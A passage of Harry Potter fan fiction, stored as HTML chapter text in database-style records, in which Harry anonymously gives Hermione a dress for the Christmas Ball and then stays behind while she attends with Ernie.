so.</p>\n\n<p>&#8220;So what are you going to do?&#8221; she asked.</p>\n\n<p>&#8220;That&#8217;s where you come in,&#8221; said Harry, looking at her positively. &#8220;I need to get this to her&#8230;&#8221;</p>\n\n<p>&#8220;Well that&#8217;s simple,&#8221; replied Hedwig sarcastically. &#8220;I mean, it would be difficult, but I suggest that you just hand it to her.&#8221;</p>\n\n<p>&#8220;&#8230;without her or anyone else for that matter, finding out that it&#8217;s from me,&#8221; added Harry.</p>\n\n<p>Hedwig stared at him the same way Ashley had stared at him earlier when he said that she didn&#8217;t want her finding out.</p>\n\n<p>&#8220;Harry&#8230;&#8221; she said soflty, &#8220;you sacrificed your broom.&#8221;</p>\n\n<p>He nodded.</p>\n\n<p>&#8220;&#8230;so you could buy a dress for Hermione.&#8221;</p>\n\n<p>He nodded.</p>\n\n<p>&#8220;&#8230;for a Ball that she is attending in which you are <i>not</i> accompanying her.&#8221;</p>\n\n<p>He nodded.</p>\n\n<p>&#8220;&#8230;and you don&#8217;t want her to know that it was from you.&#8221;</p>\n\n<p>He nodded.</p>\n\n<p>&#8220;Well Harry,&#8221; she concluded, still with the confused look on her face, &#8220;I don&#8217;t know what you&#8217;re up to or why you are doing what you are doing. But what ever it is, I&#8217;m sure it&#8217;s for an explicable, yet very good reason.&#8221;</p>\n\n<p>Harry blinked. Just as he was about to say something, Hedwig continued.</p>\n\n<p>&#8220;Take the box up to one of the school owls. Give explicit instructions to have him or her deliver it at lunch in the Great Hall. Make sure you are in there sitting with Hermione when it happens, and act like you have no idea about it. The more people around the better. Got it?&#8221;</p>\n\n<p>&#8220;Got it,&#8221; assured Harry. Motivated to have this done before students started to wake, Harry got up and was ready to leave. </p>\n\n<p>&#8220;Thanks Hedwig,&#8221; said Harry as he leaned in and kissed her on the cheek. &#8220;Get better soon ok?&#8221;</p>\n\n<p>&#8220;I will,&#8221; said Hedwig, determined to getting more sleep. &#8220;I will&#8230;&#8221;</p>\n\n<p>***</p>\n\n<p>After doing exactly what Hedwig had advised, Harry went to his Head Boy room and plopped face down on the bed, fully relieved that it was finally over. Not to mention, he didn&#8217;t get caught, which was the biggest thing that he was relieved for.</p>\n\n<p>&#8220;I&#8217;m so tired&#8230;&#8221; yawned Harry as he turned and lay flat on his back to face the ceiling, his arms out to his side. His body was not used to starting the day so early. He assumed that a few hours made no big deal, but now he was feeling the effects on his body. </p>\n\n<p>Harry&#8217;s eyes shut in a lazy and wavering motion and once they did, his head drooped and relaxed to the side, his glasses shifting just a bit on the bridge of his nose&#8230;</p>\n\n<b><p></p>\n\n<p>&nbsp;</p></b> '),
	(169, 11, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Internet Assistant for Word Version 3.0">\n\n\n\n<b><p>Chapter 11 - In The Great Hall</p>\n\n</b><font size="2">\n\n<p></p>\n\n<p>Harry didn&#8217;t know what happened at first. It might have been that his body usually did not get up at this point in time or maybe it was because he was anxious as to what Hermione might say, but for some reason or another, Harry&#8217;s eyes lazily opened up from his dreamless sleep. </p>\n\n<p>He rolled over on his bed, not wanting to get up at first. Then his mind kicked in and reminded him that unless he wanted Hedwig&#8217;s plan to work to full potential, he would have to make his way to the Great Hall tired or not. Harry glanced at his watch.</p>\n\n<p>&#8220;It&#8217;s 11:45,&#8221; he said to himself. &#8220;Almost time for lunch.&#8221;</p>\n\n<p>He sat up slowly from his bed, smoothened out all the wrinkles from his robes, pushed his glasses back up the bridge of his nose, and went out the door to the Great Hall.</p>\n\n<p>***</p>\n\n<p>As soon as Harry walked out the door, someone slammed into him, consequently dropping all of the books he was carrying.</p>\n\n<p>&#8220;Oh I&#8217;m so sorry!&#8221; exclaimed the boy, dropping to the floor to quickly pick up his things. He was taking short and quick breaths, probably because of the running he endured. He had the same raven-black hair as Harry did, although not as messy. From the looks of his uniform, he came from Gryffindor House though Harry had never seen him before.</p>\n\n<p>&#8220;It&#8217;s ok,&#8221; he said, bending down and helping him pick up his things. &#8220;Just slow down and take it easy the next time around.&#8221;</p>\n\n<p>&#8220;Yes sir,&#8221; the boy stammered, &#8220;I will sir.&#8221;</p>\n\n<p>After Harry had helped pick up most of the booked and arranged them in a way so that the boy could at least keep his balanced when he walked, he spotted another.</p>\n\n<p>&#8220;Oh look!&#8221; said Harry, bending down to pick up another book that he had missed, &#8220;you forgot&#8230;&#8221;</p>\n\n<p>Just as Harry looked up, the boy had disappeared. He frowned in confusion and scanned the corridor. But just as quick as the boy had bumped into him, he was gone. Letting curiosity get the best of him, he took a look at the book.</p>\n\n<u></u><p><u>Secrets of Potions: Made Easy</u> was different in size than what Harry was used to seeing. It was smaller and more compact than a library book, which was probably the reason why the boy had missed picking it up in the first place. However, unlike a library book, it was fairly in new condition. Harry pocketed it and continued to the Great Hall.</p>\n\n<p>***</p>\n\n<p>&#8220;Hi guys,&#8221; greeted Harry as he sat next to Ron in their usual seating spot with Hermione sitting across from him.</p>\n\n<p>Harry settled into his seat with a thump and propped the side of his head in one hand with a sigh.</p>\n\n<p>&#8220;Hey Harry,&#8221; Ron acknowledged, digging back into his plate for some more of his lunch. </p>\n\n<p>&#8220;Are you ok Harry?&#8221; Hermione asked, looking sideways at him.</p>\n\n<p>Harry looked up and opened his mouth to answer her, but found that no words came out. Though Hermione never realized it, she had him in one of those trances that Hermione was only capable of doing.</p>\n\n<p>Hermione&#8217;s look of concern was good enough to make Harry&#8217;s insides lurch. In fact, just about any face Hermione made, made his insides flutter with happiness.</p>\n\n<p>&#8220;You look&#8230;tired,&#8221; she said.</p>\n\n<p>&#8220;I am,&#8221; yawned Harry, &#8220;I&#8217;ve been getting up early these past few days.&#8221; Harry&#8217;s mouth completely shut after his last sentence.</p>\n\n<p>Oh great, thought Harry. I might as well tell her that an owl will come I here in minute now. The questioned that Harry feared she would ask came out a second later.</p>\n\n<p>&#8220;Getting up early for what?&#8221; asked Hermione.</p>\n\n<p>&#8220;Uh&#8230;&#8221; stuttered Harry, searching his brain for any answer he could find. &#8220;I&#8217;ve been getting up early so I could visit Hedwig.&#8221;</p>\n\n<p>&#8220;You have?&#8221;</p>\n\n<p>&#8220;Yeah. I have to do it in the morning because I won&#8217;t have time to see her at any other time of the day.&#8221;</p>\n\n<p>Harry sighed in relieve. He was so lucky that he had that excuse to use. Suddenly, he felt a tingle go down his spine. Hedwig has been in the Hospital Wing for only one day. How could I have been seeing her for the past few days? He prayed that neither of them noticed his flaw.</p>\n\n<p>&#8220;So how is she?&#8221; asked Ron. Though he was munching away on food, he seemed to be listening in on the conversation.</p>\n\n<p>&#8220;She&#8217;s doing rather well,&#8221; said Harry, relieved that Ron didn&#8217;t notice. &#8220;But Madam Pomfrey doesn&#8217;t like it when I go in at such an early hour.&#8221;</p>\n\n<p>&#8220;I can see why though Harry,&#8221; said Hermione matter-of-factly, &#8220;It would be like you going into a store before it even opened!&#8221; </p>\n\n<p>Harry laughed, not only because Hermione didn&#8217;t notice it either, but that she didn&#8217;t know exactly how right she was. &#8220;That&#8217;s a good choice of words you used there.&#8221;</p>\n\n<p>&#8220;So are you still going to attend the Christmas Ball Hermione?&#8221; asked Ron, changing the subject.</p>\n\n<p>&#8220;Well actually,&#8221; started Hermione, looking down at the table and turning a bit pink, &#8220;because of the incident that happened yesterday, I won&#8217;t be able to. Required formal wear remember?&#8221; she added when seeing Ron&#8217;s confused face.</p>\n\n<p>&#8220;That&#8217;s right,&#8221; Ron said, feeling foolish. &#8220;So how does Ernie feel about it Hermione?&#8221;</p>\n\n<p>&#8220;He&#8217;s a bit upset,&#8221; she admitted, &#8220;but nothing too big. He said it wouldn&#8217;t be the same without me, so he agreed not to attend too.&#8221;</p>\n\n<p>&#8220;Really!?&#8221; asked Ron incredulously. &#8220;Why did he do that!?&#8221;</p>\n\n<p>&#8220;Don&#8217;t know,&#8221; shrugged Hermione. &#8220;He really shouldn&#8217;t do that. But I have nothing else to do but respect his decision.&#8221;</p>\n\n<p>&#8220;I&#8217;m really sorry Hermione.&#8221;</p>\n\n<p>&#8220;Don&#8217;t be. It&#8217;s no big deal really&#8230;&#8221;</p>\n\n<p>No big deal my foot, thought Harry. It was because of him that not only one, but two people were not attending the Ball. No worry, their problems would be over in just a few moments.</p>\n\n<p>***</p>\n\n<p>As if right on schedule, (if there actually was a <i>schedule </i>to abide by) the exact same owl that Harry had given the gift box to swooped into the Great Hall and dove toward the table where Harry, Ron, and Hermione were sitting. It was carrying an ordinary and unwrapped gift box. The owl dropped the box into Hermione&#8217;s lap and left just as quickly as it had came.</p>\n\n<p>&#8220;Whoa&#8230;&#8221; blinked Ron after a few moments of silence.</p>\n\n<p>&#8220;What on Earth is this?&#8221; asked Hermione, more to herself than anyone else. She examined the tag, which said, &#8216;Hermione&#8217; in an unrecognizable handwriting.</p>\n\n<p>&#8220;Well Hermione,&#8221; said Ron in a mock-impatient way, &#8220;judging from the size, shape, and look, I&#8217;d say it have to be a gift box.&#8221;</p>\n\n<p>&#8220;I know that!&#8221; snapped Hermione. &#8220;I mean <i>why</i> do I have this box? And who would send it to me?&#8221;</p>\n\n<p>&#8220;Oh,&#8221; said Ron blandly, going back to his plate for food, &#8220;I don&#8217;t know then.&#8221;</p>\n\n<p>Harry on the other hand had not said a word. He was much to excited that his plan was going all to well. However, he realized that he was a little too quiet despite the situation. </p>\n\n<p>&#8220;Wait!&#8221; said Harry, pretending to be suddenly interested. &#8220;How do we know that this box isn&#8217;t dangerous?&#8221; Hermione&#8217;s eyes lit up as of he was probably right.</p>\n\n<p>&#8220;We don&#8217;t,&#8221; answered Ron absently, stuffing more food into his mouth. &#8220;But I&#8217;m sure someone else will think it&#8217;s dangerous too.&#8221;</p>\n\n<p>Hermione suddenly looked hesitant to open the box. Harry wasn&#8217;t quite sure that implying that the box was dangerous was such a good idea. What if Hermione didn&#8217;t open the it?</p>\n\n<p>&#8220;Is it heavy?&#8221; asked Harry, pretending to be curious.</p>\n\n<p>Hermione weighed it in her hands carefully. &#8220;No, it&#8216;s not.&#8221;</p>\n\n<p>Harry laughed at himself. &#8220;Then it&#8217;s probably not dangerous. Usually if something is heavy it&#8217;s either dangerous or expensive.&#8221;</p>\n\n<p>&#8220;What&#8217;s going on here?&#8221; said an incoming voice from another direction. Harry frowned.</p>\n\n<p>&#8220;Hi Ernie,&#8221; smiled Hermione. He had put himself behind Hermione and stared at the box just as everyone else. &#8220;I just got this box in the mail.&#8221;</p>\n\n<p>&#8220;Well, go on open it then,&#8221; persuaded Ernie, &#8220;I&#8217;m sure it&#8217;s not dangerous.&#8221;</p>\n\n<p>&#8220;Harry thinks it&#8217;s dangerous,&#8221; insisted Hermione.</p>\n\n<p>&#8220;I <i>thought </i>it was dangerous,&#8221; corrected Harry. &#8220;I think Ernie&#8217;s right, (though Harry hated admitting it) but I don&#8217;t think it&#8217;s dangerous.&#8221;</p>\n\n<p>&#8220;Hi guys!&#8221; said another voice from another direction, but two people were heading toward them.</p>\n\n<p>&#8220;Ginny were have you been?&#8221; asked Ron, looking at her like how their mom would if she was wondering where her children were. &#8220;Oh, hi Colin.&#8221;</p>\n\n<p>&#8220;Hey Ron,&#8221; said Colin from behind Ginny, as though something bad would happen if he had said something wrong. Ron eyed him suspiciously.</p>\n\n<p>&#8220;I was helping Colin with his homework,&#8221; explained Ginny. &#8220;And then&#8230;&#8221;</p>\n\n<p>She seemed to not want to finish her sentence.</p>\n\n<p>&#8220;And then what?&#8221; asked Ron.</p>\n\n<p>&#8220;Uh&#8230; I&#8217;d rather not say,&#8221; started Ginny, looking over at Colin and smiling. He returned the smile. &#8220;Not now anyway. I want it to be a surprise. But I can say that it has something to do with the Christmas Ball tonight&#8230;&#8221;</p>\n\n<p>Harry, who was closest to Ginny, looked at her and made eye contact.</p>\n\n<p>&#8220;What?&#8221; she whispered so that only Harry could hear him. He didn&#8217;t answer, but looked over at Colin and back at Ginny, still with the &#8220;what?&#8221; look on her face.</p>\n\n<p>Harry grinned. &#8220;Don&#8217;t worry Ginny, I get it&#8230;&#8221;</p>\n\n<p>&#8220;So what&#8217;s going on?&#8221; asked Ginny, slightly scarlet in the face and trying to change the subject.</p>\n\n<p>&#8220;Hermione got that box,&#8221; said Ron, motioning toward her. &#8220;But she&#8217;s afraid to open it because she thinks it&#8217;s dangerous.&#8221;</p>\n\n<p>Hermione hadn&#8217;t said a word, but looked at the box as if it were to explode any second. She looked really concerned.</p>\n\n<p>&#8220;Oh nonsense Hermione!&#8221; exclaimed Ginny, eyeing the box. &#8220;I&#8217;m sure it&#8217;s not dangerous!&#8221;</p>\n\n<p>&#8220;Harry said it&#8217;s dang&#8230;&#8221;</p>\n\n<p>&#8220;I <i>thought </i>it was dangerous!&#8221; said Harry through gritted teeth.</p>\n\n<p>Ernie put his hands on Hermione&#8217;s shoulders and caressed them gently. Harry fought the urge to remove Ernie&#8217;s hands from her himself.</p>\n\n<p>&#8220;It&#8217;s all right Hermione,&#8221; whispered Ernie. &#8220;I don&#8217;t think it&#8217;s dangerous ok? I&#8217;m sure everything&#8217;s going to be ok.&#8221;</p>\n\n<p>Hermione looked over her shoulder at him. &#8220;Ok&#8230;&#8221; she whispered.</p>\n\n<p>&#8220;Now go on,&#8221; said Ernie softly. &#8220;Go and enjoy yourself.&#8221;</p>\n\n<p>Hermione nodded, took a deep breath and opened the box&#8230;</p>\n\n<p>\n\n</p>\n\n</font>\n\n '),
	(169, 12, ' <b><p>Chapter 11 - Hermione&#8217;s Reaction</p>\n\n<p></p>\n\n<p></p>\n\n</b><font size="2"><p>Harry had to admit: what Hermione&#8217;s expression was when she had opened the box was a predictable one, but not the one that Harry was expecting.</p>\n\n<p>She had placed the gift box flat on the table and gently tugged on the sides of it, making the cover come off in one motion. Harry was baffled at how silent the Great Hall had become and how many other students from other tables were just as interested in Hermione opening the box as everyone else was, as if they were about to see the solution to a great mystery&#8230;</p>\n\n<p>&#8220;Oh wow&#8230;&#8221; gasped Hermione as she pulled the contents out from the gift box. </p>\n\n<p>&#8220;Oooh!&#8221; chorused the rest of the students the were watching.</p>\n\n<p>Hermione pulled the elegant red dress from the box and held it by the shoulders at arms length to admire it. Ginny looked to be the most excited.</p>\n\n<p>&#8220;Hermione!&#8221; she squealed. &#8220;It&#8217;s&#8230; it&#8217;s a dress&#8230;!&#8221;</p>\n\n<p>Ron had to repress a snort. &#8220;She knows what it is Ginny.&#8221;</p>\n\n<p>&#8220;You know what this means Hermione?&#8221; said Ginny energetically, ignoring Ron. &#8220;You can go to Ball tonight!&#8221;</p>\n\n<p>Hermione didn&#8217;t answer. She was in awe of the beautiful dress before her. </p>\n\n<p>&#8220;This is&#8230;&#8221; she siad, baffled, &#8220;this is&#8230;&#8221; She didn&#8217;t really know how to finish the sentence.</p>\n\n<p>&#8220;Beautiful&#8230;?&#8221; finished Ernie from behind her. </p>\n\n<p>Hermione&#8217;s head swiveled around and she looked at him ecstatically. &#8220;Did you do this Ernie?&#8221;</p>\n\n<p>Harry, Ron, Ginny, and Colin automatically turned to Ernie to, anxious as to what he was going to say. Harry, however, was the most anxious. He better not say the wrong answer&#8230;</p>\n\n<p>&#8220;Well&#8230; uh&#8230;&#8221; started Ernie, &#8220;I hate to tell you this but&#8230;&#8221;</p>\n\n<p>Everyone&#8217;s attention seemed to grow and the tension got stronger.</p>\n\n<p>&#8220;Nope, sorry Hermione. But I didn&#8217;t send you this. I <i>wish </i>I had though,&#8221; he added as an afterthought, &#8220;seeing the joyful look on your face.&#8221;</p>\n\n<p>She smiled back at him in understanding and turned back to her dress.</p>\n\n<p>&#8220;You sure it&#8217;s for you?&#8221; asked Ron.</p>\n\n<p>&#8220;Yes,&#8221; said Ginny, motioning in the direction of the tag. &#8220;It says, &#8216;To: Hermione&#8217; on it.&#8221;</p>\n\n<p>&#8220;Well you were right about one thing Harry,&#8221; said Ron.</p>\n\n<p>&#8220;What&#8217;s that?&#8221; asked Harry.</p>\n\n<p>&#8220;It&#8217;s not dangerous, but it is expensive,&#8221; said Ron, matter-of-factly.</p>\n\n<p>There was another unusual silence. Everyone was staring at Ron. &#8220;What?&#8221;</p>\n\n<p>&#8220;And how do <i>you </i>know it&#8217;s expensive Ron?&#8221; asked Ginny accusingly. </p>\n\n<p>&#8220;Just by the way it looks!&#8221; Ron answered defensively. He could feel Hermione staring at him and he caught her eye.</p>\n\n<p>&#8220;Hey don&#8217;t look at me!&#8221; said Ron, putting his hands up in a defending way. &#8220;You know that I haven&#8217;t got <i>anything </i>to buy even the fabric for that thing!&#8221;</p>\n\n<p>Harry was silent the entire time, which, he realized, probably wasn&#8217;t a god idea if he wanted to keep the person who contributed the gift a secret. He coughed, which unavoidably got the attention of Hermione. Harry started to tremble in his seat slightly, looking at the dress wide-eyed and pretending to be just as astonished as everyone else.</p>\n\n<p>&#8220;Did you have anything to do with this Harry?&#8221; Hermione asked, hopeful that he was going to say yes. Everyone else looked at him too.</p>\n\n<p>Harry shook his head slowly. &#8220;No&#8230;&#8221; he said carefully, but not carelessly either. </p>\n\n<p>&#8220;Do you know who might have been involved?&#8221;</p>\n\n<p>&#8220;No idea&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;s too bad that I don&#8217;t know who sent it,&#8221; said Hermione. &#8220;Otherwise I would have attended the Ball with that person to thank him&#8230;(Harry&#8217;s insides fell like a stone) well, assuming that the sender was a guy. You wouldn&#8217;t have minded would you?&#8221; she asked Ernie.</p>\n\n<p>&#8220;Of course not,&#8221; he answered, though it looked like he <i>was </i>going to be disappointed.</p>\n\n<p> &#8220;Well we do know one thing for sure Hermione,&#8221; Ron interjected. &#8220;There&#8217;s someone out there that <i>really </i>wants you to be his or her best friend.&#8221;</p>\n\n<p>&#8220;I have to find this person that gave you this,&#8221; said Ernie. &#8220;Without his or her generosity, you wouldn&#8217;t be able to attend the Christmas Ball tonight.&#8221;</p>\n\n<p>Harry sighed to himself. Everything was going according to plan, but why did he suddenly <i>want </i>to tell Hermione that it was he who gave her the dress? </p>\n\n<p>No, Harry told himself, it&#8217;s less complicated this way&#8230;</p>\n\n<p>&#8220;Well, Colin and I have to get going,&#8221; said Ginny. &#8220;we&#8217;ll see you all at the Ball.&#8221; She specifically winked at Harry.</p>\n\n<p>No you won&#8217;t, thought Harry.</p>\n\n<p>&#8220;Speaking of leaving,&#8221; said Ron, looking at his watch, just about when Ginny and Colin disappeared, &#8220;I need to go find Rachel. She said she wanted to talk to be about something. See you guys!&#8221;</p>\n\n<p>With that, he was gone.</p>\n\n<p>&#8220;Come on Hermione,&#8221; said Ernie excitedly, tugging on her arm. &#8220;Let&#8217;s go see how that dress looks on you.&#8221;</p>\n\n<p>&#8220;But Harry will be left by himse&#8230;&#8221;</p>\n\n<p>&#8220;I&#8217;ll be ok,&#8221; said Harry, in the best normal voice he could do. &#8220;You two go along and have a good time.&#8221;</p>\n\n<p>Hermione looked at him concerned. &#8220;Are you sure?&#8221;</p>\n\n<p>&#8220;Positive,&#8221; replied Harry. &#8220;Besides, I have to&#8230; uh&#8230; finish some things&#8230;&#8221;</p>\n\n<p>&#8220;Well ok&#8230;&#8221; said Hermione regretfully. In the blink of an eye, she and Ernie were gone. </p>\n\n<p>&#8220;Well&#8230; that went well&#8230;&#8221; said Harry with a half breath of relief and half sadness. He picked up <u>Secrets of Potions: Made Easy</u> and continued where he had left off. He might as well find something to do because he wasn&#8217;t doing anything special tonight&#8230;</p>\n\n<p></p>\n\n<p></p></font>\n\n '),
	(169, 13, ' <b><p>Chapter 13 - The Christmas Ball</p>\n\n<p></p>\n\n<p></p>\n\n</b><font size="2"><p>It wasn&#8217;t surprising that Harry found himself in his private Head Boy dormitory sitting at his desk reading <u>Secrets of Potions: Made Easy.</u> It was about the time for the Christmas Ball to begin and Harry could hear all the commotion outside his door. He could hear students running up and down halls, some of them having conversations, and others just plain yelling.</p>\n\n<p>Harry sighed in his chair and tried to concentrate on the book, but with all the distractions outside, it was very difficult. He would have to find the boy who had dropped the book and return it to him soon.</p>\n\n<p>The thought that Harry could have been attending the Christmas Ball (with Hermione too no less) kept scrambling in his mind. If he just told her that the dress was from him, it would be him that was going to dance with Hermione, not Ernie. But being the person that Hermione was, Harry figured that she would not accept the gift from him if she knew that he bartered his Firebolt for her dress. As long as Hermione was happy, it was all good for Harry. Just as Harry could recognize a mass group of people shuffling down to the Great Hall, which told him that the Ball was starting soon, there was a knock on his door.</p>\n\n<p>Harry&#8217;s head shot up from <u>Secrets of Potions: Made Easy </u>and to his door with an eyebrow raised. &#8220;Come in.&#8221;</p>\n\n<p>&#8220;Hi Harry,&#8221; replied Colin Creevey, fully dressed to attend a Christmas Ball, as he stepped through the door and walked toward Harry&#8217;s desk.</p>\n\n<p>&#8220;Hey Colin,&#8221; said Harry, surprised that Colin was there to see him. &#8220;What can I do for you? I know you don&#8217;t want to keep Ginny waiting.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; said Colin, surprised that Harry knew who he was attending the Ball with. &#8220;Well actually I have something for you.&#8221; </p>\n\n<p>He reached out from under his dress robes and pulled out a standard size manila envelope and handed it to Harry.</p>\n\n<p>&#8220;What&#8217;s this?&#8221; asked Harry, hesitantly taking it from Colin at first. Harry waited for Colin to explain before opening it.</p>\n\n<p>&#8220;Well I just had a huge photography project where I had to take as many pictures as possible,&#8221; explained Colin, matter-of-factly. &#8220;So many in fact that I have way too much for me too keep.&#8221;</p>\n\n<p>Harry nodded in assurance that he was following what Colin was saying.</p>\n\n<p>&#8220;I don&#8217;t believe in throwing pictures away,&#8221; he continued, &#8220;because I think it&#8217;s like throwing away treasures. Plus, I think it&#8217;s bad luck to be throwing pictures away especially if it&#8217;s of people.&#8221;</p>\n\n<p>&#8220;I see,&#8221; replied Harry, not seeing where this was going.</p>\n\n<p>&#8220;And I want you to have that picture,&#8221; finished Colin.</p>\n\n<p>Though Harry didn&#8216;t really care what the picture was of, a curiosity enveloped him. &#8220;Why would you figure I would want to have this?&#8221;</p>\n\n<p>&#8220;Don&#8217;t know,&#8221; shrugged Colin, but the slight smile on his face told Harry that he did know.</p>\n\n<p>&#8220;Well, thanks, I guess&#8230;&#8221;</p>\n\n<p>&#8220;Um Harry? Are you going to the Christmas Ball?&#8221;</p>\n\n<p>&#8220;&#8230; No I don&#8217;t think so&#8230;&#8221;</p>\n\n<p>&#8220;Oh&#8230; well&#8230;um&#8230;&#8221; stuttered Colin, not really knowing what to say. &#8220;I&#8217;m sorry.&#8221;</p>\n\n<p>&#8220;It&#8217;s ok,&#8221; assured Harry. &#8220;It&#8217;s not your fault.&#8221;</p>\n\n<p>&#8220;Well&#8230; um&#8230; I better get going then Harry&#8230;&#8221; said Colin uneasily.</p>\n\n<p>&#8220;Yeah sure,&#8221; he replied. &#8220;You don&#8217;t want to keep Ginny waiting.&#8221; Just as Colin was about to close the door behind him, Harry called.</p>\n\n<p>&#8220;Colin?&#8221;</p>\n\n<p>He turned around toward Harry. &#8220;Yeah?&#8221;</p>\n\n<p>Harry fanned the envelope in his hand, still not knowing what was in it. &#8220;Thanks.&#8221;</p>\n\n<p>He anxiously opened the envelope as soon as Colin left. What he found inside was not what he had expected: It was a 5x7 Muggle portrait of Hermione from the chest up. </p>\n\n<p>She was wearing her Hogwart&#8217;s uniform and leaning against a wall somewhere outside of the school grounds and hugging a few books to her chest. Her smile was of sheer joy and simplicity that made you feel warm when you saw it. Her hair cascaded over her shoulders and just by the way her hair looked, you could tell that there was a slight breeze just as the picture was taken. By the way the mood of the picture looked, it seemed that Hermione didn&#8217;t plan on taking the picture in the first place; she was asked impromptu.</p>\n\n<p>&#8220;Wow!&#8221; whispered Harry to himself. He was surprised at how Colin could manipulate his camera so precisely that he could catch a single moment in time so beautifully, but not as surprised as how beautifully the picture had turned out. More specifically, why did Colin give it to him in the first place? Colin sure had a gift in photography, which explained why he was in an advanced class.</p>\n\n<p>As Harry continued to admire the picture, there was a knock on the door.</p>\n\n<p>&#8220;Come in,&#8221; he said automatically, still concentrating on the picture. He heard the sound of the door creak open and close and a figure approach him a few feet from his desk but was still distracted by the photo.</p>\n\n<p>&#8220;Harry?&#8221; said a girl voice that was very familiar. Harry&#8217;s daydream was coming into reality; he was still staring at the picture but he could make out a figure standing in front of him wearing something very sparkling and <i>very</i> red.</p>\n\n<p>&#8220;Harry?&#8221; Hermione asked carefully, as though she were approaching a tiger.</p>\n\n<p>Harry scrambled to put the picture back into the manila envelope and then throwing it into the top drawer of his desk and closing it with a big slam. He ended up sitting comfortably in his chair with his hands folded as though he had done nothing.</p>\n\n<p>&#8220;Hi Hermi&#8230;,&#8221; started Harry nervously, but the words stuck in his throat as he gazed at her. At first he was hoping that she had not seen what he was doing or what he was looking at, but that all didn&#8217;t seen to matter now.</p>\n\n<p>Hermione was wearing the elegant red dress that he (although she had no idea) gave to her. The dress was partially shoulder-less and just barely dragged on the floor. There were a few sparkling diamonds in some of the hems and her hair (which was usually bushy, but Harry found attractive anyway) was tied up in an graceful knot. She looked absolutely stunning.</p>\n\n<p>&#8220;Hi Hermione,&#8221; squeaked Harry.</p>\n\n<p>&#8220;Hi Harry,&#8221; answered Hermione, but with a look of uttermost confusion. &#8220;You&#8217;re&#8230; you&#8217;re not ready&#8230;?&#8221;</p>\n\n<p>Harry blinked and uncomfortablely took <u>Secrets of Potions: Made Easy</u> and a quill and nervously pretended to take notes. </p>\n\n<p>&#8220;Ready for what?&#8221; asked Harry, not looking at Hermione.</p>\n\n<p>&#8220;Ready for the Ball Harry,&#8221; answered Hermione. Harry stopped pretending to take notes. </p>\n\n<p>&#8220;Oh,&#8221; he said, looking up at her. &#8220;I&#8217;m not going&#8230;&#8221; He looked back down at <u>Secrets of Potions: Made Easy </u>and pretended to take notes again.</p>\n\n<p>&#8220;And why not!?&#8221; asked Hermione sadly, approaching Harry&#8217;s desk and resting her palms on top.</p>\n\n<p>&#8220;I couldn&#8217;t get a date,&#8221; said Harry uneasily. &#8220;You know, about the &#8220;having a date&#8221; requirement thing, that Dumbledore said. I don&#8217;t have a date so I can&#8217;t go.&#8221;</p>\n\n<p>&#8220;Oh&#8230;&#8221; was Hermione&#8217;s response. &#8220;Did you ask that girl that you like?&#8221;</p>\n\n<p>Two things hit Harry at the moment. One: Since when did Hermione noticed that he &#8220;liked&#8221; someone? Two: This was not something good if he wanted to catch Hermione&#8217;s attention&#8230;</p>\n\n<p>&#8220;I was about to&#8230;&#8221; began Harry timidly, &#8220;but someone got the chance before I did&#8230;&#8221;</p>\n\n<p>&#8220;Oh&#8230;&#8221; said Hermione. &#8220;Well I guess you should be quicker next time.&#8221;</p>\n\n<p>&#8220;Maybe&#8230;&#8221;</p>\n\n<p>&#8220;I really thought that you had a date for the Ball.&#8221;</p>\n\n<p>&#8220;I thought I had one too. But&#8230; things didn&#8217;t work out well for me.&#8221;</p>\n\n<p>There was a long silence between the two of them.</p>\n\n<p>Harry motioned toward Hermione&#8216;s outfit. &#8220;Any clue as to who gave you the dress?&#8221;</p>\n\n<p>&#8220;No, none,&#8221; said Hermione, shaking her head. </p>\n\n<p>&#8220;Oh,&#8221; said Harry, feeling a bit relieved. &#8220;You look beautiful in it.&#8221;</p>\n\n<p>&#8220;Thank you&#8230;&#8221; smiled Hermione. &#8220;It&#8217;s too bad I can&#8217;t say that you look handsome.&#8221;</p>\n\n<p>&#8220;No&#8230; you can&#8217;t.&#8221;</p>\n\n<p>Hermione leaned in and over the desk closer to Harry, putting her mouth very close to his ear. Harry shivered slightly.</p>\n\n<p>&#8220;I still think you&#8217;re handsome,&#8221; she whispered, then withdrawing and standing upright.</p>\n\n<p>&#8220;Thanks,&#8221; said Harry, blushing a bit and looking back down <u>Secrets of Potions: Made Easy.</u> He could start to hear feet rumbling down corridors outside his door, which meant that the Christmas Ball would be starting soon. </p>\n\n<p>&#8220;You better get going,&#8221; urged Harry. &#8220;You don&#8217;t want to keep your date waiting.&#8221;</p>\n\n<p>&#8220;Right,&#8221; Hermione agreed, but reluctantly. She left much more slowly than she had stepped in.</p>\n\n<p>&#8220;Whew,&#8221; sighed Harry with relief. &#8220;That was close. She almost saw the picture that I was looking at. Who knows what she would think if she knew I had that. Probably think I was obsessed with her or something&#8230;&#8221;</p>\n\n<p>Suddenly, there was another knock at the door. Harry was beginning to get irritated.</p>\n\n<p>&#8220;Come in,&#8221; Harry said.</p>\n\n<p>He thought that someone he knew would walk in but someone he <i>didn&#8217;t </i>know walked in. It was a black- haired young boy probably in his third year. He wore Gryffindor robes, though Harry had never seen him before, though he did look vaguely familiar. That was another thing that puzzled him; the boy didn&#8217;t look at all ready to be going to a Ball. Of course, Harry assumed that he was the only one not attending the Ball.</p>\n\n<p>&#8220;Can I help you?&#8221; asked Harry in a professional manner.</p>\n\n<p>&#8220;Um&#8230; Mr. Potter?&#8221; squeaked the boy.</p>\n\n<p>&#8220;Call me Harry,&#8221; said Harry, a bit weirded out at the formality of his name.</p>\n\n<p>&#8220;Oh ok Mr. Potter&#8230; I mean, Harry.&#8221; The boy seemed to be very nervous about something. &#8220;Could I ask you something?&#8221;</p>\n\n<p>&#8220;Sure,&#8221; answered Harry. He motioned toward the seat in front of his desk. &#8220;Please sit down.&#8221;</p>\n\n<p>Though the boy did get into the seat, he looked just as nervous as before and he sat looking very tense.</p>\n\n<p>&#8220;Well&#8230;um&#8230;&#8221; began the boy, &#8220;well&#8230; you are the Head Boy and um&#8230; it would be your duty to&#8230; um&#8230; help out a fellow Gryffindor if he was in need of advice right?&#8221;</p>\n\n<p>&#8220;Uh huh,&#8221; nodded Harry, still puzzled by the whole situation. &#8220;So what&#8217;s your question?&#8221;</p>\n\n<p>&#8220;Well&#8230; um&#8230; how do you know if&#8230; um&#8230; you&#8217;re&#8230; in love&#8230;?&#8221;</p>\n\n<p>&#8220;Huh?&#8221; said Harry, not sure if whether or not 